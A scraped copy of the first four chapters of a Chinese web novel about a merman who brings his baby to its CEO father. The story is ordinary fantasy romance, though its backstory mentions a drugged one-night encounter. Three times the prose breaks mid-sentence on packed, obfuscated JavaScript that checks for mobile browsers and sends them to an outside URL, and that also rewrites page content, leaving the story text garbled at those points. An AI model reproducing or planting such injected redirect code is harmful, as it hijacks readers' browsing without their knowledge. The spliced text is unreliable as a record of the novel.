《漂亮人鱼老婆带崽找上门后》 1. 第 1 章 傍晚阳光暖融融地泼洒在静谧无垠的海面。 海面之下,阳光照不到的深海海域,并不如何黑暗,因为一片藻群,正散发着幽蓝的光。 忽然,泥沙翻涌,惊跑了一群螃蟹海星。 “咕噜咕噜咕噜咕噜……”一只八爪章鱼,肆意挥舞着八条触角,将蓝藻尽数揪起,团巴团巴,塞进挎着的小篮子里。 等篮子满满当当了,章鱼朝前方冲刺,停在另一片珊瑚群前,献宝似的,将海草编制的篮子递过去。 “谢谢你,闪电。”温柔的声音,带点恬静的笑意。 名叫闪电的章鱼用触手挠挠自己的圆脑袋,挺不好意思地把两条触手扭麻花似的扭到了一块。 姿音接过装满蓝藻的篮子,妥帖地放在珊瑚后。 那里已经有三个小篮子了。 许多小鱼游来游去,殷勤地用嘴薅下蓝藻,往篮子里塞。 姿音一靠近,他们就一股脑围上去,在那条粉蓝鳞片、波光粼粼的漂亮尾巴上偷偷亲一下。 “谢谢大家帮忙。”姿音用指尖在身边的小生物身上轻轻碰一下。 那些颜色各异的贝壳鱼类就仿佛喝醉了一般,心花怒放地胡乱漂浮,热闹非凡。 而姿音看着面前的蓝藻,叹息一声,继续采摘。 不多时,五个篮子全塞满了。姿音和闪电携着篮子,离开这片海域,回到了熟悉的地方。 梦幻般的粉蓝鱼尾划开寂静的海底。 十米宽贝壳大床上,一只蛄蛹蛄蛹的小鱼崽瞄到那道亮光,霎时用小尾巴坐了起来。 远远地,姿音就看到他的小鱼崽,瞪着溜圆的眼睛盯着自己。 精精神神的。 姿音脊背发毛。 呜,果然没睡着。 “mua!咪!”小鱼崽迫不及待地扑到妈咪姿音身上,小萝卜似的指头摸摸姿音的脸,胖乎乎的脸蛋贴上去。 “崽崽。”姿音在自己的小鱼崽脸上亲了一口,点点崽的小鼻子,假装嗔怪道,“怎么没有乖乖睡觉呀?” 鱼崽一对葡萄大眼瞪得圆圆的,一笑,露出粉嫩的小牙龈,兴奋地拍起小胖爪:“玩!咪!” 姿音欲哭无泪,拿出工具捣蓝藻,掺些营养的鱼籽和海菜。 闪电在一旁帮他,八只触手四条干活,四条陪鱼崽玩耍。 鱼崽用没长牙的牙龈,把章鱼触手嚼得咕叽咕叽响。 手电筒鱼来了,鱼崽搓人家挂在头顶的小灯笼。 小虾群来了,鱼崽小蓝尾巴扭扭,扇起水流,一股脑把人家卷去不知道哪里。 很快,一碗营养安睡的蓝藻糊做好了,姿音喂给崽崽。 章鱼闪电碰了下姿音的头发,又非常礼貌地缩回手,身体变得鲜艳多彩,一会儿变成毯子,一会儿变成麻花,表演花里胡哨的舞蹈。 姿音不知道怎么跟他解释,想了半天,开口说:“我不能答应。”他甩了甩自己靓丽的尾巴,很抱歉地说:“我们不是一个物种。” 闪电如遭雷击,触手垂下,像是似了,任水流将自己冲走。 姿音接连拒绝了家门前几十只鱼的求偶,柔和地摆摆手:“晚安,大家。”把贝壳一盖。 姿音跟鱼崽大眼瞪大眼。 “乖崽崽,白天没睡觉,现在肯定困了吧。” 姿音不知道是说给崽听的,还是说给自己听的,总之搂着胖鱼崽,规律拍崽的后背,轻声细语地讲睡前故事。 讲着讲着,薄薄的眼皮阖上。 一年多前,姿音还是人鱼族的一条小美人鱼,无忧无虑,唱着歌,只需要思考怎么拒绝排成长队的追求者。 谁知有次迁徙,误入了魔鬼洋流,那是人鱼族避之不及的杀人洋流,没有族人的庇佑,姿音很快被卷入深处。 命丧于此之际,他整条鱼突然被捞了上来。 【哇哦~漂亮小鱼,你简直与我们的漂亮炮灰系统契合度100%啊!!!】 【漂亮小鱼,你愿意帮我过一个关键剧情吗?不愿意我就放手了哦~】 “别,别放手!”尾尖下是深不见底的旋涡,冰冷渗骨,姿音一口答应。 于是系统火速把他投放到一本古早狗血霸总虐文里。 当晚,发情的小人鱼与被下了药的主角攻酿酿酱酱一整夜。 第二天醒来的姿音,柔软的小肚子都微微鼓起来一些。 【谢谢你呦,小鱼~】 姿音活下来了,很高兴,把床上男人压.在自己腰上的手臂随便一推,问系统:“剧情过了,那您能把我带回原来的世界吗?” 系统挖挖耳朵:【小鱼,你太贪心了。】 过个小剧情,换了一条命,确实已经很值了。 姿音就不好意思再要求了。 姿音下床把衣服穿好,新奇地低头瞅系统给自己临时变的双腿。 系统坏笑:【小鱼,其实你也不是非常安全,这男人可是个杀人不眨眼的恶徒霸总哦,知道被人设计,不知道会干出什么事呢~】 【自求多福吧~】 系统提醒完这一句,就消失了。 姿音脊背发寒。 他只是个小人鱼,陆地对他而言是极其陌生的。 海!这个世界也有海。 胆小的小美人鱼迅速下海躲了起来。 躲进海里的姿音发现,海底世界静谧安逸,既安全又食物充足,鱼邻居还很友善。 捡回了一条小命,如果一直这样生活下去,也挺不错的。 直到三个月后,他的小肚子鼓了起来。 姿音看到过他们人鱼族的雌性人鱼怀孕,跟自己的肚子一模一样。 姿音:??? 不是只有雌性人鱼才能怀孕吗? 这时候,姿音想起了系统说的【剧情需要,让你上,你就上!】 姿音:…… 总之,八个月后,小鱼崽顺利降生。 茫茫大海里,有个可爱的小鱼苗陪伴,姿音是很开心的。 但渐渐地,事情不对头了。 自己的小鱼崽虽然白白胖胖的,但体型比一般人鱼幼崽小一圈,语音功能也进展缓慢。 人鱼幼崽聪慧,一般三个月,已经能蹦出清晰的字词了,而他的崽,还在咿咿呀呀。 人鱼幼崽半岁能说出完整的句子,而他的胖崽,在这时候终于能蹦出磕磕绊绊的字了…… 更让姿音崩溃的是,崽他不睡觉啊! 怎么哄都不睡! 一到夜里,神采奕奕,两眼冒绿光! 新手妈咪姿音,一天天地熬夜跟鱼崽斗智斗勇,经常一只眼睛闭着睡觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956534|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一只眼睛睁着看精精神神的鱼崽玩耍。 心力憔悴。 欲哭无泪。 想死的心都有了。 姿音很快意识到是哪里出了问题。 人鱼幼崽一般是父亲带大的,幼年期,他们需要父亲的信息素安抚。 而可怜的鱼崽,从出生,压根没见过他的亲生父亲。 可是…… 胖崽的爸爸是个无恶不作的大恶棍啊……不能去找他…… 姿音只能放弃这个想法,寻求别的方法。 章鱼闪电是姿音逃到海里后,认识的第一个朋友。 闪电说自己认识伟大的克苏鲁神,旧日支配者,克苏鲁神指示,海底生长着一种发光的蓝藻,有安神助眠的效用。 所以这段时间,姿音都去采摘蓝藻,睡前喂给鱼崽。 起初,是管用的。 可药效似乎在每日逐渐减退。 …… 姿音睡得迷迷糊糊,就感到有软软的东西在啃自己的脸。 “咪!起!玩!” 姿音困得流眼泪,把鱼崽从自己脸上薅下来,恳求地说:“睡觉吧,崽崽,哪有小宝宝晚上不睡觉的呢?对不对,天都黑了呀。” 把崽压在自己胸.前。 鱼崽一点也不想睡,挣来挣去,挣开了。 被姿音忽明忽暗的鱼尾吸引,游过去拍拍打打,凑近了瞧瞧,再用小尾巴扇扇,啃啃啃啃,嚼嚼嚼嚼嚼。 姿音漂亮的眉心抽抽,又把崽抱到怀里,这回压实了,就是不让鱼崽逃脱。 “咪——!”鱼崽奶声奶气地喊。 “咪!起!”鱼崽持续输出,铜铃似的水灵大眼睛盯着妈咪紧闭的眼皮。 姿音睫毛颤颤,铁了心不放手。 鱼崽蛄蛹半天没挣出来,最后小鼻子一皱,嘴角撇撇,“哇”地一声哭出来。 姿音认命了,眼皮耷拉,坐起身:“好好,玩玩玩玩……” 机械地把崽抱起来,臂弯当成小船,晃来晃去,崽立刻不哭了,乐得嘎嘎笑。 “高,高。”崽胖爪拽拽姿音的头发。 姿音灵魂出窍,把胖崽抛高高,又接住。 “球,咪!”鱼崽尾巴甩夜明珠,夜明珠咕噜咕噜滚走,姿音用尾巴尖轻松接住,再次递给崽。 …… 第二天一早,双目通红的姿音找到闪电,请求他问一下克苏鲁神,能不能帮忙联系一个人? 一只鱼悄悄地崩溃了。 从温柔美人鱼到憔悴怨夫,只需一个不眠的夜晚。 一个新手小妈咪就是这么不堪崽击。 闪电:“咕噜咕噜咕噜咕噜咕噜!” 伟大的克苏鲁旧神无所不能! 姿音不知道闪电认识的那只章鱼是怎么办到的,总之,在这天下午,姿音得到了一部防水手机和一个号码。 姿音深深地看了眼冒绿光、精神奕奕的鱼崽。 盯着屏幕上的号码,姿音长翘的睫毛不安地眨动。 他还是有点怕那个男人…… 可鱼崽需要这个男人的信息素。 刻不容缓。 姿音毅然决然地按下了拨通键,那边很快接通。 姿音吸了一口气:“喂,请、请你来大西洋把你的崽接走!” 2. 第 2 章 市中心高层写字楼里。 一场季度汇报会议刚刚结束,总裁宫砚站在落地窗前,松了松领口,俯瞰A市最繁华的金融地段。 作为互联网大厂,他们公司今年上线的一款网游,这个季度的活跃度和收益再创新高。 甚好。 宫砚只休息片刻,就继续工作,聆听秘书报告行程时,手机响了。 他瞥一眼,示意秘书先出去。 电话是宫砚的母亲打来的,喊他晚上回去参加家族聚餐。 宫砚淡淡道:“今晚有工作,这种没什么必要的交际活动我就不去了。” “忙忙忙,你比你爸还忙。” 宫砚的父亲是银行家,应酬交际颇多。 但宫砚竟是比他还抽不开身。 “孤家寡人一个,成天在公司里打转。”宫妈妈斥道,“我瞧你下半辈子守着办公室过好了。” 宫砚没什么表情,听了会儿教训,承诺下周回家陪二老吃饭,挂断了电话。 在所有人眼中,宫砚都是个不折不扣的工作狂。 前些年还会偶尔放松一下,从去年开始,越发连普通的交际娱乐也不参与了。 宫砚的价值观,男人,应该在最好的年华,为自己的事业奋力拼搏! 若非如此,公司也不会在短时间内顺利上市,宫砚身家攀登至百亿。 宫砚正要喊秘书进来,挂掉的电话却再次响起。 宫砚以为还是母亲,看也没看就接通了。 对面却是一道清丽的嗓音,微微发着颤,像是鼓足了勇气才喊出来的。 “喂,请、请你来大西洋把你的崽接走!” 宫砚:“?” 宫砚不动声色地瞅了瞅手机屏幕,国外IP,陌生号码。 呵。 因为宫砚没出声,对面停了停,试探着问:“喂,请问有人吗?” 那副拘谨又提心吊胆的语气,倒是让宫砚轻笑了一声。 这恐怕是个刚入行的。 “我的崽?”宫砚懒洋洋地说,“你们骗子打电话,不事先调查一下吗?” “我一没结过婚,二没谈过恋爱,哪里来的崽?跟谁的崽?” 对面道行太浅,宫砚这么一反问,把对方问了个懵。 “啊?可是,就是你的崽啊,我们的崽,不用调查了……”乖乖的回答。 宫砚原本冷峻的一张脸,没忍住泄露一丝笑,眉梢扬了扬。 “行啊,”宫砚莫名其妙地心情很好,“你想要多少钱? 姿音摸不着头脑,回答说:“不用钱,你接走就好了。……不过你要对崽崽好一点,崽只是一条无辜的小鱼苗。” 越说越没谱了。 宫砚没了耐心,“行了,你在团伙里再练个几年吧。”顿了下,真心疑惑道,“不会真有人给你骗到过吧?” 姿音反应了一下,发觉男人压根不想接走鱼崽,只是在逗他玩儿。 话筒中静了一秒,宫砚就听到对面娇声娇气骂了一句“你、你这个……渣男!”把电话挂了。 宫砚满脑子问号。 这年头的诈骗电话,都这么猖狂了! 宫砚从鼻腔中嗤出一口气,打开电脑,用工作发泄怒意。 海底,姿音愤愤挂断电话,漂亮尾巴卷起一股强力的水流旋涡,胖鱼崽紧紧搂住妈咪的脖子,以防被冲走。 “咪?”鱼崽歪脑袋。 姿音气得脸蛋覆上一层粉润。 当初系统把他丢到主角攻的床上时,给他灌入了一些炮灰的记忆,所以姿音知道人类世界的常识。 像宫砚这样,是绝对的渣男行径,要被唾骂的。 可是再怎么骂,宫砚也不会来接走小鱼崽了…… 姿音摆摆尾巴,焦躁地游来游去。 天快要黑了,蓝藻的作用越来越小…… 鱼崽丝毫不知妈咪的烦恼,自顾自啃着姿音的头发:“香!咪~” 姿音突然停下来,透明微蓝的尾鳍随着水流轻轻晃动,发光鳞片上粉蓝渐变的色彩仿佛波浪一般,散发着神秘而璀璨的光芒。 ——宫砚不来接崽,那他就把崽送过去! 这个念头在姿音的脑海里定型。 无论如何,胖崽都必须接受亲生父亲的信息素了。 这么想着,姿音带着鱼崽找到闪电。 闪电:“咕噜咕噜咕噜咕噜!” 伟大的克苏鲁旧神无所不能! 三只鱼去往海底深处,在没有发光藻类的地方,漆黑如墨,唯一的光亮便是姿音的美丽的鱼尾。 小鱼崽瞅瞅妈咪亮亮的大尾巴,再瞅瞅自己暗淡的小尾巴。 小眉头耷拉下来。 姿音亲亲崽的嫩脸蛋,轻声安慰说:“等崽崽长大,尾巴就会亮了。” 这时,一团浓厚的黑影显出身形,触手飞舞。 闪电:“咕噜咕噜!” 尊敬的旧神! 闪电对姿音说:“咕噜咕噜。” 他叫风暴。 姿音恭敬地喊:“尊敬的风暴,伟大的旧神,您好。”很有礼貌地把自己的请求说了出来。 鱼崽也出一份力:“帮!” 第一个请求,姿音需要知道宫砚的地址。第二个请求,他要变出双腿,才能上岸。 黑影晃动,似乎点了点脑袋,周边冒出许多气泡。 闪电用触手飞速点了下姿音的头,“咕噜咕噜咕噜咕噜……” 姿音惊喜道:“好的,我记住了!谢谢您,无所不能的风暴大人。” 闪电刚刚说了一串地址,Z国A市XX路XX号XXX,甚至还转告了抵达港口最快的路线。 姿音话音刚落,一瓶紫色玻璃药水,出现在他的面前。 “喝掉就行了吗?”姿音问,鱼崽好奇地瞪着眼睛,观察漂亮瓶瓶。 闪电指指姿音,又指指鱼崽,解释说:“咕噜咕噜咕噜。” 姿音点点头。 原来鱼崽因为有人类基因,不用喝就可以变化双腿,药水只需姿音喝。 姿音喝掉药水,再三感谢风暴,黑影渐渐消散。 回到家,姿音跟闪电说出自己的打算,闪电不舍地垂下触手。 “咕噜咕噜咕噜咕噜……” 闪电叮嘱了药水的注意事项。 24小时内要下水缓解,否则会变成咸酥鱼干。 还有,自己那边有个铁兄弟,等姿音上岸之后,需要帮忙可以去找他。 第二天一早,闪电和邻居们,为姿音和鱼崽办了个欢送会,在无数恋恋不舍的目光和闪闪发光的鱼泪中,姿音带着崽,离开了大西洋。 美人鱼在海里行进的速度非常快,鱼崽被姿音抱着,像是在坐火箭,全程头发乱舞,露着光洁的小额头。 “快!咪!” 鱼崽嘎嘎大笑,声音传得一片海域都回荡着魔鬼笑声。 一天后,姿音和崽抵达岸边码头。 姿音在隐蔽处变出双腿,穿好事先准备的衣服,把崽塞进布袋子里。 “崽崽,看,这是人腿,有两条呢。”鱼崽眼睛圆圆地扒在袋子边朝下看。 “崽崽也变成这样吧。”姿音原地蹦跶两下说,“很好玩的。” “腿,咪!”鱼崽笑出牙龈,袋子里滑溜溜的小尾巴不见了,取而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956535|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代之的是凉爽爽的婴儿肌肤触感。 姿音笑了笑:“乖崽崽,我没有说,就不可以变成尾巴哦。” 鱼崽拍手答应:“咪!” 姿音拎着装崽的布袋子,习惯性胯骨朝前一扭,直接摔了个大马趴。 袋子里的崽咕噜噜滚了出来。 “咪?” 码头周边来往的许多行人朝这边张望。 姿音羞得小脸通红,装作若无其事,飞速把崽塞进袋子里,迈开新长出来的腿,小跑着离开。 姿音对这座城市一无所知,拿着写了地址的纸条,问路人方向。 那人一转头,看到一张粉白无暇的漂亮脸蛋,迷迷糊糊就给姿音指了路。 “谢谢。”姿音礼貌点头,袋里的崽眨着圆眼睛,学姿音说话:“谢,谢!” 路人说前面就是地铁站,进去坐到XX站,出去就能看到。 刚巧也是下午上班的点,姿音跟着打工人潮,顺利涌进地铁站。 只是他不懂买票是个什么流程,和崽四眼茫然地盯着前面排队的人。 观察了一会儿,旁边一个年轻小姑娘拍了拍姿音。 “那个……你不会买票吗?我帮你吧。” 姿音听到有人愿意帮忙,感激得不知说什么好,等小姑娘把票递到他手上了,姿音踌躇两下,把袋子里的鱼崽掏出来。 “这个脸很软的,要不要摸一下?” 海底的邻居们都喜欢贴贴鱼崽的脸。 小姑娘噗嗤笑出声,一点不客气,两手齐上,揉面团似的揉鱼崽软绵绵的小脸蛋。 鱼崽傻傻的,弯着黑眼睛,小嘴巴吐一个泡泡,跟人家小姑娘一起嘎嘎乐。 姿音拿着车票,上了列车,一路靠问,献祭傻崽的可爱脸蛋,终于抵达了终点站。 写字楼高耸入云,姿音和崽动作一致,眯着眼仰头望。 “高?……咪?”崽揪揪姿音的衣服,让妈咪把自己也扔这么高,玩丢高高游戏。 姿音捏捏崽的小鼻子,笑道:“一点也不知道害怕。” 他拎着崽走进大楼,前台见他带着孩子,也不是公司员工,热切地过来招呼,询问姿音来找哪位。 “宫砚。”姿音说。 前台愣了一下,像是没想到面前漂亮的青年居然是直接找公司老大的。 前台歉意一笑:“不好意思,宫总的话,请问您有预约吗?” 姿音当然摇头,鱼崽学他,把栗子毛脑壳摇得拨浪鼓一般,瞅着前台姐姐。 前台姐姐被崽无辜的大眼睛击中心脏,笑道:“好的,请您稍等,我打个电话上去。” 说罢,拨通了内线。 上面是宫砚的秘书接的电话,听到完全陌生的名字,没当一回事。 前台悻悻挂断电话,对姿音说:“宫总现在比较忙……”看到姿音露出失落的神情,前台试探说:“或许,您可以直接联系宫总?” 姿音被这样一提醒,瞬间想起来,自己有宫砚的号码呀! 拿出手机,姿音拨通了那个前两天拨过的号码。 手机里嘟嘟响了一会儿,就在前台以为不会接通的时候,奇迹般的,手机屏幕亮了。 “我在楼下,还有你的崽!” 为了壮胆,姿音气势很足,几乎是吼出来的。一旁的前台听到前一句,依旧保持尴尬但不失礼貌的笑,听到后一句,笑容僵在脸上,猝不及防表情崩裂。 嗯?????!!!!!! 但对面似乎沉默了,而后电话挂断。 与此同时,前台的电话响了。 “把他带上来。”总裁办公室的内线打了过来。 3. 第 3 章 “抱歉,宫总。”秘书为方才拒绝了楼下的拜访道歉。 宫砚摆摆手,并不在意。 秘书问:“需要招待这位客人吗?”宫砚唇角微挑,脸上露出些兴致盎然,"不用了,你出去吧。" 啧,宫砚现在真是无比好奇,很想知道,这位脑瓜不太灵光的骗子到底在想什么? 他没追究,骗子自己倒是先找上门来了。 还他的崽? 哈,有意思。 宫砚居然罕见地放下手里的工作,转了转椅子,啜口茶水,目光略带期待地投向门口。 与此同时,姿音被前台带到了总裁办公室门前。 呼——呼——姿音深呼吸两下,给自己做心里建设。 没事的,只需要把胖崽交给里面这个男人就行了。 人类说,虎毒不食子。 姿音低头瞅自己的鱼崽,这布灵布灵的大眼睛,这黑长的睫毛,这小小柔软的脸蛋,除了贪玩些,哪里都那么惹鱼喜爱! 鱼崽察觉到姿音怜爱的目光,昂起脑袋:“咪?” 姿音忍不住“呜”一声,跟崽贴贴脸蛋,把崽挤得发出“叽啾”的笑音。 “崽崽,你要努力得到父亲的喜爱,多吸点他的信息素。”姿音亲亲鱼崽的小耳朵。 咚咚。 办公室的门被叩响,宫砚挑眉,“进来。” 姿音一鼓作气,拎着装崽的布袋子就冲到了宫砚跟前,把崽一掏,跟超市买菜送把葱一样递过去:“你、你的崽,拿走吧!” 宫砚:“……” 真是一场入室抢劫般的诈骗啊。 宫砚没瞅小崽子,倒是眯着眼睛瞧了瞧青年低头秀美的面部轮廓,正要开口讥讽两句,面前的青年抬起了脸。 姿音没听到动静,浓密睫毛颤了颤,微微抬起下巴,偷觑一眼系统嘴里的恶徒主角攻。 宫砚愣住,紧接着心头大震。 “是你!”宫砚猛地站起身,浓黑锋利的眉皱起来,深邃眼睛紧盯着姿音。 果然,他好凶! 姿音默默后退一小步,嘴唇抿了抿,声音发着抖:“是是是我……” 宫砚记得这张俏丽的小脸,去年一场酒会上,他的红酒杯里被下了猛药,晕晕乎乎地,被扶去了酒店房间。 而面前这个人,正在床上等着…… 那一夜,他失去了二十多年的清白! 事后追查,这人却像是人间蒸发了,宫砚只能默默咽下这口被人下套的恶气。 男人周边散发着阴沉的气息,姿音越发抬不起头,用胖崽的小身体挡住自己的脸。 “以前的事,很对不起……但是,能不能先把崽崽收下呢?” 姿音说完,从鱼崽身后露出一只眼睛,可怜巴巴地说:“崽崽很需要你。” 宫砚都气笑了。 荒谬得可笑。 我不找你的事,你倒是胆子很大,不知从哪找了个孩子,送上门来要挟我? 可能因为事情实在太荒谬了,认真追究反而显得滑稽,宫砚的怒意一下削减了大半,顺势看向青年双手举起来的崽。 鱼崽:“。”吐泡泡。 这一看,宫砚眉头就微微拧了起来。嘶……怎么有种莫名的熟悉感? 他的视线又移到姿音的脸上,青年水墨似的眉眼,雪白的脸颊因为胆怯还是什么,晕了一层淡粉色,活像给人欺负了。 哈?崽,我们的? 莫名其妙,宫砚脑袋里恍恍惚惚蹦出这样一个念头。 很快,他就回过神来。 真就仗着自己长得好看,明晃晃地骗啊!把自己当傻子,一点弯都不绕? 宫砚嘴角勾起嘲讽的笑:“难不成是你生的?” 姿音点头:“嗯!很可爱吧?” 宫砚:“……”有那功能吗你? 宫砚坐回办公椅里,懒洋洋地喝了口茶,打量面前的漂亮青年,绕有兴趣地跟他扯:“那你怎么证明,这孩子是我的?” 姿音眨了眨长睫毛,脸上的粉铺得更开,像绽放了的桃花瓣,他朝宫砚斜一眼,赧然地说:“那天晚上,你不是……好多,我肚子都鼓起来了。” 宫砚一口茶差点没喷.出来。 “咳咳咳咳!”宫砚猛咳了一阵,忙抽纸巾擦拭。 姿音瞧见他耳朵根红了,自己也更加不好意思起来,挠了挠烧热的脸。 “那个,反正你要带崽崽一段时间,崽崽现在离不开你。” 正要再嘱咐一些,双腿忽然涌起一阵热流痒意。 哎呀!差点忘了,应该是下水缓解的时间快要到了。 姿音忽然慌张起来,把胖崽往宫砚怀里一塞:“记得一定要陪崽睡觉!”顾不得别的,凑过去在胖崽额头上一亲。 “崽崽,乖乖跟爸爸一起睡觉。” 说完掀开办公室的门,一溜烟溜了出去,留下屋内父子俩面面相觑。 宫砚:“…………?” 崽:“。。”继续吐泡泡。 刚才姿音靠过来时,一阵异香扑面而来,现在还丝丝缕缕地缠绕宫砚鼻尖。 宫砚整个人都是僵硬的,想起那人方才给自己的称呼,低头瞅了瞅怀里的小崽。 崽也正好奇地瞅着他:“……叭?” 姿音一口气跑到楼下,举目四望,他哪里也不认识,从这里到岸边又太远了。 正焦急的时候,忽然想起闪电岸上的那个好兄弟。 姿音掏出手机,翻了翻,果然在联系人里找到了这人。 他拨通“雷霆”的电话,大喇喇爽朗的声音从手机里传来: “喂?你是闪电托我照顾的那个朋友吧?等你好久了!怎么不一上岸就给我打电话?咱们可是老乡啊!老哥现在搁城里混得还不错,搁这边当游泳教练呢哈哈哈,我跟你说,待遇可不错……” 姿音小声打断了他:“雷大哥……我有点急……”跟雷霆解释自己需要入水的缘由。 三分钟后,一位国字脸,粗眉毛,古铜色肌肤,一身腱子肉的背心大汉跑了过来。 原来,他工作的游泳馆,正开在宫砚公司这幢写字楼里面。 雷霆带着姿音回了家,他们这些上岸的鱼,家中必备一个浴缸,时不时惬意地重温下在海里的感觉。 姿音在浴缸里泡着,粉蓝靓丽的鱼尾欢快地吸收着水分,舒服得忍不住吹出一长串七彩泡泡。 泡完澡,姿音重新变出双腿,穿上雷霆给他拿的新衣服,坐在了餐桌前。 雷霆性格热情和善,但毕竟不是人,脸上自带一股憨憨的气质,往桌上端着一盘盘热菜,招待姿音。 姿音在岸上遇到老乡,心中也高兴,微笑着感激。 “咱都是海里兄弟,不说那个,”雷霆笑呵呵地说,“对了,你刚才跟我说,咱小侄子去找他亲爹了?那你是打算自己先回海里?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956536|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姿音点头,叹一口气:“我……准备先在这里观察一小段时间。” 毕竟是自己的崽崽,他很舍不得,况且,也要确定宫砚的信息素到底对鱼崽有用没有。 雷霆就见过姿音这一条美人鱼,对于他们幼崽需要父亲抚养的种族习性束手无策,热情地说:“那你先住我家。” 吃晚饭时,两人闲聊,雷霆说:“人类养崽,跟我们海里完全不一样,非常花钱!又是奶粉,又是尿不湿,又是早教的,听我们那儿的顾客说,崽子刚会讲话就送去培训班了,一月三万呢,真吓人!” 姿音一愣。 作为一条刚上岸一天的淳朴的鱼,他从来没有想过花费方面的问题。 原本计划,把鱼崽送到宫砚手里,他就回海里去,但下午把崽交到宫砚手里后,他又有点不放心,舍不得,所以决定留下来观察几天。 而现在,听雷大哥这么一说,似乎事情没那么简单。 “雷大哥,你能帮我找一个工作吗?”姿音问,“我想在走之前,给崽崽留点钱花。” 原来生活在人类世界这么麻烦,姿音在心里感叹,还是海里好。 “行啊!”雷霆乐呵地应下,“就在我那游泳馆怎么样?咱海里来的,天生会游泳,就是干这行的料。” 姿音没什么干不得的,笑道:“好,正好离崽的爸爸近。” 雷霆从一开始的打杂工混到如今的金牌教练,多年资历,安排一个人进来,轻而易举。 于是第二天,姿音就上岗了。 * 宫砚一下午没把怀里的崽摆脱掉。 工作狂如他,尽管突发“漂亮青年入室甩崽事件”,该处理的工作,还是要严格按照日程安排走。 宫砚对秘书打个眼色,示意他来先来把自己怀里的小孩抱走,找个人照顾,可还没等秘书走近,宫砚手臂上一阵巨力袭来。 低头一瞧,怀里的崽扒紧他的小臂,跟块小粘糕一样,怎么撕都撕巴不开。 宫砚:“……” 宫砚试图交涉:“……你妈妈呢?” 崽听到关键词,水灵灵的眼睛睁大:“咪?” 原来还不会说话……宫砚揉了揉眉心,他对人类小孩的了解程度为0。 宫砚试图利诱:“从叔叔身上下来,给你拿糖吃。从秘书手上拿过棒棒糖,举到小崽眼前晃了晃,“糖,甜的,好吃的。” 鱼崽松开一只手,硬抓过宫砚的手腕,哈呜一口,把棒棒糖含进嘴里。 甜甜的,喜欢,鱼崽对宫砚笑:“叭!”对便宜爸爸比较满意了。 宫砚也对着崽苦笑,然而崽的另一只手,却是攥他衣袖攥得紧紧的,把下面的皮肉都揪起来一块。 宫砚:“嘶……” 宫砚失去所有力气和手段。 想起漂亮青年临走时嘱托的神情,宫砚蹙眉,跟怀里的崽进行最后的眼神争斗。 半晌后,崽:“。。。”扒得死紧并无忧无虑吐泡泡。 宫砚认输,抱着崽去楼上开高层管理会议。 宫砚作为公司一把手,实际控制人,不论对待自己还是工作,都是众所周知的严苛态度,半小时前,众高层早两股战战地等在会议室内,项目资料堆成小山高。 门被推开,众人齐刷刷站起身。 宫砚左手抱着一只白白胖胖的小娃娃进来了。 众高层揉揉眼睛:“……?” 4. 第 4 章 宫总的威严如山一般,整个会议室没一个敢多嘴,权当没看见这诡异的一幕,按部就班开始会议。 期间,宫总怀里的小娃娃把棒棒糖梭得嘶溜响,时不时吹两个七彩泡泡飘荡在宫总严峻冷淡的脸侧,再炸开一朵小小的水汽白花。 ——可以说非常破坏会议严肃的氛围,众人不由得惊恐瞪眼。 宫总本人,则是一如既往的冷峻,会议室里众人也就只能眼观鼻鼻观心,把满腔疑惑压在心里,面上一本正经继续汇报。 会议结束时,鱼崽伴着亲生父亲安稳舒适的气息,睡得香甜。 睡梦中,小嘴巴嘬嘬嘬嘬。 宫砚看着小崽子松开的萝卜指头,没来由地一阵紧张。 这时候管理高层们见他站起身来,纷纷拉开椅子恭送,呲呲喇喇,发出不小的动静。 宫砚顿时皱眉,食指竖在唇前。 众人动作僵滞,连大气都不敢喘了。 宫砚回到办公室,下班的时间到了,按他平时的习惯,一定是要留在这里继续工作至深夜的。 但现在,他怀里有一个呼呼大睡的崽…… 秘书报告完晚上的日程,问道:“宫总,需要我找个人来照顾宝宝吗?” 宫砚:“嗯……” 现在算怎么回事?怎么那人丢了个娃娃给自己就跑了? 秘书伸手,正要把宫总怀里的宝宝抱过去,宫总却忽然迟疑一下,撤回了一个鱼宝宝。 秘书:“?” “算了。”宫砚说,“我先带着吧。” 那人离开前,再三强调,让自己陪小崽睡觉。虽然不知道出于什么目的,但如果只是一晚上的话…… 宫砚抱着熟睡的鱼宝宝,破天荒地提前下班了。 回家的路上,宫砚怀里安稳地搂着崽,然而心里冷酷地想,如果小崽夜里闹了,他就直接叫个专业保姆来照顾,而且最迟明天晚上,他会派人去把罪魁祸首找回来。 他可以宽容到既往不咎,但那人不能把他当傻子,随便抱个娃就甩给他。 他可不能再让那人牵着自己的鼻子走! 